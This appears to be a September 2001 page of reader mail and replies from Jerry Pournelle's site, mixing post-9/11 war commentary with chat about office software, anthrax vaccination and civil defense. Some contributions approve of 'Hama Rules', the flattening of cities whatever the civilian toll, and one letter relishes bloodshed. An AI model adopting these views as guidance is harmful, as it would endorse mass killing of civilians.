When I first heard rumors that some of these men may have been trained at our own Air War College, it made perfect sense to me. This was not a random act of violence, and we can expect the same sort of military competence to be displayed in the battle to come. This war will escalate, with a good portion of it happening right here in the good ol' U.S. of A. These men will not go easily into the night. They do not fear us. We must not fear them. In spite of our overwhelming conventional strength as the world's only "superpower" (a truly silly term), we are the underdog in this fight. As you listen to the carefully scripted rhetoric designed to prepare us for the march for war, please realize that America is not equipped or seriously trained for the battle ahead. To be certain, our soldiers are much better than the enemy, and we have some excellent "counter-terrorist" organizations, but they are mostly trained for hostage rescues, airfield seizures, or the occasional "body snatch," (which may come in handy). We will be fighting a war of annihilation, because if their early efforts are any indication, our enemy is ready and willing to die to the last man. Eradicating the enemy will be costly and time consuming. They have already deployed their forces in as many as 20 countries, and are likely living the lives of everyday citizens. Simply put, our soldiers will be tasked with a search and destroy mission on multiple foreign landscapes, and the public must be patient and supportive until the strategy and tactics can be worked out.

For the most part, our military is still in the process of redefining itself and presided over by men and women who grew up with - and were promoted because they excelled in - Cold War doctrine, strategy and tactics. This will not be linear warfare, there will be no clear "centers of gravity" to strike with high technology weapons. Our vast technological edge will certainly be helpful, but it will not be decisive. Perhaps the perfect metaphor for the coming battle was introduced by the terrorists themselves aboard the hijacked aircraft-this will be a knife fight, and it will be won or lost by the ingenuity and will of citizens and soldiers, not by software or smart bombs. We must also be patient with our military leaders. Unlike Americans who are eager to put this messy time behind us, our adversaries have time on their side, and they will use it. They plan to fight a battle of attrition, hoping to drag the battle out until the American public loses its will to fight. This might be difficult to believe in this euphoric time of flag waving and patriotism, but it is generally acknowledged that America lacks the stomach for a long fight.

We need only look as far back as Vietnam, when North Vietnamese General Vo Nguyen Giap (also a military history teacher) defeated the United States of America without ever winning a major tactical battle. American soldiers who marched to war cheered on by flag waving Americans in 1965 were reviled and spat upon less than three years later when they returned. Although we hope that Usama Bin Laden is no Giap, he is certain to understand and employ the concept. We can expect not only large doses of pain like the recent attacks, but also less audacious "sand in the gears" tactics, ranging from livestock infestations to attacks at water supplies and power distribution facilities.

These attacks are designed to hit us in our "comfort zone" forcing the average American to "pay more and play less" and eventually eroding our resolve. But it can only work if we let it. It is clear to me that the will of the American citizenry - you and I - is the center of gravity the enemy has targeted. It will be the fulcrum upon which victory or defeat will turn. He believes us to be soft, impatient, and self-centered. He may be right, but if so, we must change. The Prussian general Carl von Clausewitz, (the most often quoted and least read military theorist in history), says that there is a "remarkable trinity of war" that is composed of the (1) will of the people, (2) the political leadership of the government, and (3) the chance and probability that plays out on the field of battle, in that order. Every American citizen was in the crosshairs of last Tuesday's attack, not just those that were unfortunate enough to be in the World Trade Center or Pentagon. The will of the American people will decide this war. If we are to win, it will be because we have what it takes to persevere through a few more hits, learn from our mistakes, improvise, and adapt. If we can do that, we will eventually prevail. Everyone I've talked to In the past few days has shared a common frustration, saying in one form or another "I just wish I could do something!" You are already doing it. Just keep faith in America, and continue to support your President and military, and the outcome is certain. If we fail to do so, the outcome is equally certain.

God Bless America

Dr. Tony Kern, Lt Col, USAF (Ret)

Former Director of Military History, USAF Academy

At one time I was an honorary member of the faculty of the USAF Academy, and I am pretty sure I met Dr. Kern at that time. Anyway, this is well worth reading again.

As is this:

The - more or less complete - story can be found at :  

(hoping that this odd-looking link works...)

Best, Jens

This refers to correspondence I had with Jens Stark regarding the situation:

> Local news from Hamburg, Germany report that the three "suspected"> > terrorists from Hamburg > > "lost" their passports simultaneously bout two years ago, most likely to > get > > rid of any visa > > stamps or similar that would have linked them to Afghanistan and/or Iraq.


Robert Racansky writes:

ThinkGeek 10801 Main Street Suite 700 Fairfax, VA 22030

While in a Unix class last night, we learned about /dev/null, and I came up with this example:

mv /bin/Laden /dev/null

I believe that shirts with this would be popular among the Think Geek crowd, and profits could be donated to the American Red Cross's relief efforts. It would be a way for the Think Geek crowd to help.

I don't have the resources to mass produce such an item, but this would be right up your alley.

I don't have the resources either. And I fear that commercialization of the war has begun in many places. But it is an interesting sentiment.

Hi Jerry,

As a long-term reader and fan of your column for Byte, I know that you are a user of FrontPage from Microsoft. You've commented several times about reluctance to upgrade. I'm not a FrontPage user, but I get the impression that you're being fair in your assesment (as usual). As someone who sometimes complains about Microsoft practices and products, I'm sure you'd be interested in an article from InfoWorld that I read today at:

Would the EULA restriction mentioned in this article prevent you from using FrontPage to comment on Microsoft and its products in your normal fair fashion?

BTW: While I still enjoy reading your and other articles in the online Byte, I still miss the printed version. It seemed to contain more (maybe that's because you've gone to a weekly publishing schedule).

Regards, Kevin.

I miss the old BYTE too.

I gather that the EULA restriction is in the part about displaying the "Constructed with Front Page" logo: something I have no desire to do anyway. But in fact I use Front Page 2000, in part because of the activation and other annoyances of the whole XP line.

I enjoyed your thoughtful comments about what our response should be. We don't hear much about Carthage anymore. I was interested in your thoughts about continuing foreign aid to totalitarian states. Seems to me that this engenders anti-American sentiments among those patriots who seek overthrow of their dictators. This provides precisely what security benefit to the USA? I favor ceasing all non-humanitarian aid to totalitarian states. Use half the money to fund schools, hospitals, and water treatment plants in those same totalitarian states. Use the other half to rebuild south Manhattan, preferably with buildings which are both beautiful and functional. 

-- Steven Belknap, M.D. Assistant Professor of Clinical Pharmacology and Medicine University of Illinois College of Medicine at Peoria

This deserves a better answer than I have time to give, and may be repeated over in the war discussions. I really hope to do some writing this morning.

The short answer is, we bribed Barbary States to help us in suppressing each other. It saved American lives. Read the history of why the Marines sing of "the shores of Tripoli" sometime. We would in fact have welcomed Mussolini into the Alliance if he hadn't had an uncharacteristic lapse of political judgment and joined the Axis. We certainly made use of and helped Stalin.

But it is one thing to cynically make use of -- not totalitarian, there are not so many of those states and more -- repressive regimes in general for specific and limited goals. It is quite another to proclaim a general foreign policy of meddling in everything in the name of a New World Order and continue to do so.

It depends on what the goals are, doesn't it?

As to funding the kinds of projects you name, that is what the Americans in Kabul jails were doing.

And from Joel Rosenberg:

I just figured I wanted to write about something else, for a minute.

No, Staroffice hasn't gotten any better. Rumors are that version 6 will get rid of its most annoying habit -- its built-in demand that it take over everything. Very frustrating, at least for me.

On the other hand, KWord is pretty good, in itself, and if it could reliably read and write Microsoft Word files (the docs say it does; my experience differs), I'd be seriously tempted to use Mandrake Linux as my regular working environment, although getting an XFree environment to be as easy on the eyes as that of Win2000 is not a trivial challenge.

Not yet ready for prime time, though. IMHO.

---------------------------- There's a widow in sleepy Chester Who weeps for her only son; There's a grave on the Pabeng River, A grave that the Burmans shun; And there's Subadar Prag Tewarri Who tells how the work was done. -- Rudyard Kipling, "The Grave of the Hundred Head."

Indeed? I will have to try it. But I am, I fear, VERY comfortable with Word 2000 which can be obtained very cheaply now.

And, alas:

> Well, three times did I try Star Office and three times did I give > up. Perhaps it is my curmudgeonly ways. Has it improved a lot in > the past year or so?

Nope, it's still cludgey (I hate the whole desktop thing).

Sun has many big plans for the next version (, including making it Open Source, getting rid of the desktop, porting to other OSes (can you see the advantages to a company in using the same program on all platforms). But, StarOffice 5.2 seems to have been standing still for the last 12-18 months.

But, you must concede that you are not in the majority of users for whom 5% of Word is sufficient. I'm fairly certain you make heavy use many features of Office, and Word in particular. Writing is your business, after all.

But, for the rest of us, especially your typical corporate user, StarOffice is almost certainly "good enough".

A couple of notes: the KDE environment on Linux comes with an office suite (KOffice) that is supposed to be pretty good. I have not used it, nor do I know how good it is at importing Word and other Office docs. With Microsoft switching to XML as the file format for their Office XP docs (at least I recall hearing that), things should get interesting.

Pete Flugstad

This article from has been sent to you by

Hi Jerry,

I thought you might this editorial from the N.Y Times interesting. (I know I did.) It seems that you are not the only one to conclude that flattening large parts of a city is the only way to deal with some terrorists.

Keep up the good work. Your discussions are always interesting and make me think. Even if I don't always completly agree with you. But we probably agree with each other more than either of us might expect.

Your coverage of NIMDA has been very useful. It has helped me up the security on my copy of IE5. Thanks.

Three cheers for the Belkin switches. I'm using one now and love it. But you do need to make sure that you have the Belkin switch set to the computer you are booting up before you start that process, otherwise the mouse will not be properly detected. That is a minor issue, but on the other hand, it keeps me from powering up all my computers at the same time and blowing a circuit from the startup transients.

I've added a link on the Hour25 web page (  to direct people to your site. Sure glad I moved Hour 25 to the web. I'm not sure I could stomach going into 'that radio station' to do the show. Gawd knows what those people are saying about the bombings. I know they probably would have booted me off the air if I had spoken the words that I wrote on my web site.

Hope this finds you well. Now get back to work on your next book. <grin> I'm anxious to read it.

Best wishes,


Hama Rules

September 21, 2001



In February 1982 the secular Syrian government of President Hafez al-Assad faced a mortal threat from Islamic extremists, who sought to topple the Assad regime. How did it respond? President Assad identified the rebellion as emanating from Syria's fourth-largest city Hama and he literally leveled it, pounding the fundamentalist neighborhoods with artillery for days. Once the guns fell silent, he plowed up the rubble and bulldozed it flat, into vast parking lots. Amnesty International estimated that 10,000 to 25,000 Syrians, mostly civilians, were killed in the merciless crackdown. Syria has not had a Muslim extremist problem since.... 

As you probably know, we used "Hama Rules" in Go Tell The Spartans... Hour 25 was Mike Hodell's science fiction late Friday night show on FM radio for a long time until his death, and was continued by Warren James. 

I get this letter a lot. It assumes facts not in evidence: I know of no one convicted of a crime who wanders loose in the USA when there is a valid extradition warrant.

Jerry, back in the eighties/nineties the USA refused to extradite escaped (but convicted) IRA terrorists to the UK. As far as I am aware these terrorists are still resident in the US.

Would the UK be justified in carrying out the actions you propose against the USA ? Would you support the UK if it did so ?


 Go up and read the introductory statement: The above assumes facts not in evidence.

Now you can read the reply.

My instant reply is "You're welcome to try. Last time you tried was in 1814. New Orleans is waiting for another." I know of the legend of the escaped IRA terrorists convicted and loose in the US, but I also note that every time I get this accusation it is vague and very general, and can't even fix the decade, must less the year, or cite any cases.

In 1848 a US warship picked up the Hungarian revolutionary Kossuth as he was being sought by the Austrian Empire. The Empire demanded that we turn him over or face "consequences." Daniel Webster's reply as Secretary of State is a classic. Of course it was a bit of bullying: the Austrian fleet wasn't much, and the Brits were on our side in any event. As I recall Webster pointed out that we ruled a land and populations compared to which the Habsburg holdings were "but a patch upon the Earth" and invited the whitecoats to invade.

The US has extradition treaties with Britain. I do not recall their diplomatic protests against our not honoring them. As to money collected for the IRA in the US, I don't approve of a lot of the activities of my fellow citizens. A good friend and Dean of a major university won't drink Bushmill's because it is "made in occupied Ireland".  I decline to get into that one, my wife being Irish, and the Parnell branch of the Pournelle family was rather active in Irish affairs (Parnell was of course Norman Protestant). 

So I come back to it: we have courts. Try your case if you have one. And if you don't care for that outcome, send Packenham's descendents. Incidentally, my ancestors were in the Louisiana Militia in 1814.

In affairs of state it is useful to argue about morality but that is largely done to inspire the citizens. Our citizens are already motivated. I think all you can accomplish here is to inspire responses a lot less temperate than mine.

Good Day.

By sheer chance the next letter on the subject was:

Dr. Pournelle,

In response to our President's GREAT speech, the Taliban envoy to Pakistan, Abdul Salam Zaeef, held a press conference. It included this gem:

"According to Islam, the blood of anyone who spies for the enemy or sympathizes with it in time of war must be shed.",2933,34784,00.html 

OK. Shall we start with the Palistinians, Egyptians, and Pakistanis who so gleefully celebrated when 6,000+ innocent people from 80 nations werebrutally murdered? No. Let's start with HIM!

Also, did you see the look of disgust and boredom on Senator Hillary Clinton's face during the speech? It was just killing her to have to applaud. In times like these, America's true friends become obvious. So do Her enemies. Most other Democrats "get it," and are on-board the pro-USA train. Hillary has jumped off, it seems.

Robin Juhl, Captain, USAF (retired)

I would not be quite so eager to condemn Senator Clinton on the basis of facial expressions. She has a lot to contemplate including the fact that when she was Deputy President there were things that might have been done to end this, then; but in fact all we did was throw some missiles around and exacerbate the problem, to what end I suspect she knows better than you or I. The memory cannot be pleasant.


Dr. Pournelle:

Dr. Kern's letter was well written and insightful, but it might be worth remembering that almost exactly the same things were written about the elite army of Saddam Hussein before the Gulf War. Our disadvantage now, of course, is that the enemy is squirreled away in holes all over the planet, not lined up in neat rows on the desert.

Tom Brosz

The real question is how much effort are we willing to commit and WHAT DO WE WANT TO ACCOMPLISH?







This week:





I took the day off.





This week:


read book now



An exchange of mail:

This seems to be of some practical use. 

I'll be running my HEPA filter for the duration, as well as leaving the house well after dawn.

David Schierholz

On Wed, 19 Sep 2001 18:29:18 -0700, you wrote:

>Because your government knows best.

 > >-----Original Message----- 
>From: David Schierholz [
>Sent: Wednesday, September 19, 2001 5:10 PM 
>Subject: Anthrax > > 
>Not to put too fine a point on it- I am a lawyer in New York. After the >Sixty Minutes piece on bio-war I am still standing by here. Why can't >civilians get anthrax >vaccinations? > 
>The Johns Hopkins University Center for Civilian Biodefense Studies: > >   > >David Schierholz >

The US government won't let citizens have nerve gas remedies either. Nor is it training Civil Defense teams. The Office of Civil Defense (a citizen organization) was changed to the Federal Emergency Management Agency; this was more than symbolic. Subjects need managing. Citizens defend themselves.

Salve, sclave!

First, > This seems to be of some practical use. > > > > I'll be running my HEPA filter for the duration, as well as leaving the house well after dawn.

FYI, the link now generates a 404 error, and searching their site for "Anthrax" doesn't seem to find anything comparable. Appears the article has been pulled.


> The US government won't let citizens have nerve gas remedies either. Nor is it training Civil > Defense teams. The Office of Civil Defense (a citizen organization) was changed to the Federal > Emergency Management Agency; this was more than symbolic. Subjects need managing. Citizens > defend themselves.

Then it looks like we're going to be breaking new/old ground. A volunteer group up in the Bay Area that I'm a part of (we do convention/event security) is looking at basically becoming a CD organization. Short version of where we need/plan to get to: - bring radio procedures to full Federal Emergency Management quals (and train to it). Also FCC cert our base ops. - Cert _everyone_ as First Responders. We also have ~6 EMTs on staff. We'll also be generating our own instructors. - Train for urban S&R technique. - Don't know how we're going to fund it, but we'll set up 2 operating trailers, one on either side of the bay, with equipment/etc. - Probably going to partner up with either the NASA bunch down at Moffett, or one (or both) of the state S&R teams - one's in Alameda, one's in Menlo Park.

What we're doing isn't brain surgery. It's a commitment to (a) a higher level of training, (b) a certain amount of equipment that we need to provide, (c) a willingness to loose a couple weekends a year to training days, and (d) a willingness to be on call to go help. Other groups can do this to - once we get sorted out what level we want to play at, we'll probably write up the training syllabus, and post it. Other volunteer/community groups can use that as a template. Go talk to your local fire departments and National Guard units. They may think the whole thing's a little weird at first, but they'll be glad to have trained, ready-to-work backup.

Geez - looking at it, it sounds like the militia approach to Civil Defense. Well, Ghod helps those who help themselves. A lot of people bitch about "being managed". Fine. My perspective is, if you don't like it, GO DO SOMETHING ABOUT IT. Sitting around, whining and complaining, is NOT the answer.

Charlie Prael

Thank you for the instruction.  But I think you will find yourself subject to more regulation than you suppose, and that you will be given the "really you ought to leave things to the professionals" treatment. I can hope otherwise. It is a large country, and the bureaucrats are not all in place, and perhaps a successful effort of this kind will be a salutary lesson for them. But I would be very careful about terms like "miltia" in this Republic of The United States of America just now.

We are particularly in need of a lot more health and sanitation workers including reserves who understand the basics of chemical and biologial warfare, and the difference between spore attacks and infections with transmissible diseases. If this is left to the professionals we will need good luck and the favor of God because there just aren't enough of then.

But I would feel better if FEMA were abolished the Civil Defense organizations revived.

I found a new link to the article that was pulled from .


The article is ANTHRAX IN A BIOWAR ENVIRONMENT by Sheldon Campbell MD, Ph.D. dated 12/2/90

Greg Hemsath







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